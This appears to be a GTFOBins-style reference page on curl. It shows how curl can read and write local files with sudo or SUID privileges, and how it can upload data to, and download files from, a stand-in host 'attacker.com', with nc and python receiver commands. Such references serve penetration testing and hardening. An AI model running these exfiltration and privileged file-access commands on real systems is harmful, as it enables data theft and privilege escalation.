.. / curl

Sponsor Fork Star

• File write
• File read
• Upload
• Download

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  echo DATA >/path/to/temp-file
  curl file:///path/to/temp-file -o /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo DATA >/path/to/temp-file
  curl file:///path/to/temp-file -o /path/to/output-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  echo DATA >/path/to/temp-file
  curl file:///path/to/temp-file -o /path/to/output-file

File read

This executable can read data from local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  curl file:///path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  curl file:///path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  curl file:///path/to/input-file

Upload

This executable can upload local data.

• Unprivileged

  This function can be performed by any unprivileged user.

  curl -X POST --data-binary @/path/to/input-file http://attacker.com

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  curl -X POST --data-binary @/path/to/input-file http://attacker.com

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  curl -X POST --data-binary @/path/to/input-file http://attacker.com

  Receiver

  An HTTP server can be used on the attacker box to receive the data.

  nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file

• Unprivileged

  This function can be performed by any unprivileged user.

  curl -X POST --data-binary DATA http://attacker.com

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  curl -X POST --data-binary DATA http://attacker.com

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  curl -X POST --data-binary DATA http://attacker.com

  Receiver

  An HTTP server can be used on the attacker box to receive the data.

  nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file

• Comment

  Data will be \r\n terminated.

  Unprivileged

  This function can be performed by any unprivileged user.

  curl gopher://attacker.com:12345/_DATA

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  curl gopher://attacker.com:12345/_DATA

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  curl gopher://attacker.com:12345/_DATA

  Receiver

  A TCP server can be used on the attacker box to receive the data.

  nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.

• Unprivileged

  This function can be performed by any unprivileged user.

  curl http://attacker.com/path/to/input-file -o /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  curl http://attacker.com/path/to/input-file -o /path/to/output-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  curl http://attacker.com/path/to/input-file -o /path/to/output-file

  Sender

  An HTTP server can be used on the attacker box to send the data.

  python -m http.server 80

Source | History